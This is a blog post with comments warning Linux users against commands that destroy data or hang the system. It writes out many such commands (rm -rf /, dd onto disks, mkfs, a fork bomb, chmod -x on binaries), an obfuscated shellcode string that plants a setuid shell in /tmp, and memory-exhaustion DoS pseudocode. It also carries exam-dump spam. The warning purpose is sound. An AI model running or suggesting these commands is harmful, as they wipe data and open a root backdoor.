In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
- sudo rm -rf /
- rm -rf .*
- dd if=/dev/zero of=/dev/sda
- mkfs.ext3 /dev/hda
- whatever > /dev/hda
- cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
- find -type f -mtime +30 -exec mv {} /dev/null \;
- mv ~ /dev/null
- mv / /dev/null
2. Causes kernel panic or freezes Linux box:
dd if=/dev/random of=/dev/port
){:|:&};: #also known as fork bomb
3. This one does the same as "rm -rf /":
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
Information improvisation: Subscribe for 650-575 dumps training sessions to guarantee pass 642-611 exam. Also get free download link for the next 1z0-533 exam, after getting success in 70-433 & 642-661, you can find a wonderful job.
Pingback : 13 Lethal Linux Commands | SGLNX
chmod -r 777 . /*
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
rm -rf –no-preserve-root /
Enjoy!.
Interesting.
I think it won't hurt to try this on VirtualBox, right?
Hi!
I’m interested in advertising software engineer/dev jobs on your site. Please contact me when you get a chance.
Regards,
Chris
Chris Rose | Affiliate Management | w 801.692.4059 | crose@enticelabs.com
rm -rf /dev || rm -rf /bin
chmod -x /bin/*
chmod -x /usr/bin/*
chmod -x /usr/local/bin/*
This also prevents chmod from being executed :)
One that I've seen used on *nix systems for years as a DoS is a custom program designed to malloc() all memory in the machine. The result is not destructive per se, but it brings the machine to an unusable state - on older Sun systems, you couldn't even run commands to find out who nuked the machine because there was no memory to allocate file handles necessary to initiate new processes.
Basically the program works like this (pseudocode below):
--
define somenum = 1024000000
while(1)
if (malloc(somenum) not true) // True state means that it succeeded
somenum /= 2 // If the malloc fails, cut the size in half and try again
--
If the machine has a larger amount of memory + swap, increase the size of somenum accordingly.
Runs pretty quickly (fast enough that no human could nail it down). A reboot's the only fix.
Do you have to be logged in as root for these, or could any user deliberately destroy a Linux computer by entering one of these commands?
And why haven't these dangerous commands been blacklisted or removed from usage? If we can write dangerous stuff we can also write ways to safeguard these things. Something to think about all you geniuses out there...
You can resist the forkbomb easily by limiting the max processes using ulimit:
ulimit -u 4096
It isn't bulletproof, but will help in a lot of cases.
@JH: Linux has a feature in the kernel called Overcommit Memory, which comes with a killer application (literally). What this means is that the kernel will quite happily say yes to all malloc requests, assuming that most programs request more than they actually use. For your program to work you will also have to write to the memory as well. Even then, when your program is nearly using all available memory, a tracker kicks in which keeps a scoreboard for all applications. This tracker will kill the program with the worst score, which is most likely to be your DoS application. You can't turn this feature off completely, but by using
#Disable over-commit memory (malloc returns NULL when out of mem; iso oom killer)
echo 2 > /proc/sys/vm/overcommit_memory
echo 100 > /proc/sys/vm/overcommit_ratio
you can let applications know there is actually no more memory that is physically available and let malloc return NULL (this example comes from an embedded device with no swap).
In short: just allocating and not using memory will not bring your system down.
@Billy: done! :)
@Billy -- because all of these commands have legitimate uses, and are frequently executed "under the hood" by your GUI's file manager (which acts as a "front end" in this case). "rm" is simply "remove file", equivalent to m$do$ "del". Most Windoze users are smart enough to not execute "del *.*", most of these are the same stripe.
"chmod" is how one changes permissions for reading, modifying, and executing files (from GUI, context menu from right-clicking on KDE desktops); such commands based on this typically don't destroy files, they just completely and permanently lock you out of your own command path and/or personal files. Unless one comes in as root via a LiveCD with usable command paths and do the necessary fixes. Which, if one was gullible enough to execute one of the above commands, means one likely doesn't know how to do said fixes...
"dd" used to be needed to create boot floppies, and is still used for writing disk partitions from image files, doing whole-partition backups, and possibly ultimately by k3b/brasero cd burners, referenced by cdrao or other related commands.
mkfs.* is the equivalent of saying "format C:", and again most Windoze users have acquired enough sense not to do that, this is the same warning. Taking command line options away from the "stupid users", namely all of us out here in the wild, "for their own protection" is pure Microsoft; educational approaches like this are much better and saves neophytes undeserved grief -- grief that may turn them back to m$!
I'm not a guru by any stretch, I'm a GUI-first user with only 3 years of experience with Linux. The only one of those commands I don't immediately parse as dangerous on sight is the one with the built-in DO loop. I'd probably "man rm" to figure out what the -f switch does, and single-step through the loop on paper. The heavily obfuscated code of #3 trips my internal paranoia, because I recognize it as such, even though I don't know how to decode it.
Pingback : 13 ??????????? ??? Linux ?????? · Hrafntoftir
if only more guides said to use -I rather then -f on rm, as the default is -i, or ask for every last file in the dir tree when using -r...
also, -v could be nice, so that people actually see what files are being deleted, and may be able to try and kill the process if they see it grabbing to many files.
but most of these are about misunderstanding shell wildcards, resulting in the command starting in the wrong place (and it do not help that the . is used as a "hide" prefix, current dir, as well as a single letter indicator in regular expressions).
having a automatic dry run when encountering a wildcard or regular expression could probably save a lot of grief. Something like "here is a list of paths affected by the entered command, are you sure you want to continue?".
you forgot swinging an ax through your computer. I always kick myself after I do that. It's just too easy. And yes billy, axes should be banned.
ru
Pingback : Linux – Dieci comandi da non eseguire mai
Easy way (dedicated for adm's with short experience) to make root account unusable:
#Root account expire
chage -E 1970-01-01 root
#mount / rw
#this provides kernel-panic sometimes in some OS versions
echo "/dev/sda1 / ro 0 0" >> /etc/fstab
Billy asked "And why haven’t these dangerous commands been blacklisted or removed from usage?"
The answer is that sometimes these commands are needed - occasionally you may *want* to wipe an entire directory, or drive, or whatever. Castrating a Unix-type system to protect idiots (not aimed at you, Billy) from themselves, is not something most people would find acceptable. If you accidentally nuke your drive, you will probably never do it again (at least, not in the same way). As an aside, can't you point-and-click your way into reformating a drive under Windows?
Also, I suspect that using a hammer on a hard drive might also render it unusable.
Pingback : Links 04/12/2009: Bologna Moves to OpenOffice.org | Boycott Novell
Pingback : ?????? » 13 ???? Linux ??
Pingback : 13 ????Linux?? : ??? |linux????
just look at this website : http://www.commandlinefu.com/commands/forthewicke...
there is plenty of lethal command , and also some russian roulet
To the person who asked if these could be executed on a VirtualBox without any problems.... well, the answer is "it depends".... if your virtualbox image is that, and not pointing to a real hard disk, they you'll only screw up the virtualbox machine... if, however, your virtualbox machine is pointing to a real disc, then kiss whatever was on that disc good bye...
Pingback : 13 comandos letales en Linux « mess with the best…
This infamous Linux command will inevitably lead to a potentially deadly denial-of-service attack:
make me a sandwich
Any unpleasant repercussions can, however, be avoided by prefixing the command with a magic little word from a strange language, known only to the crème de la crème of Linux users, otherwise known as sudoers.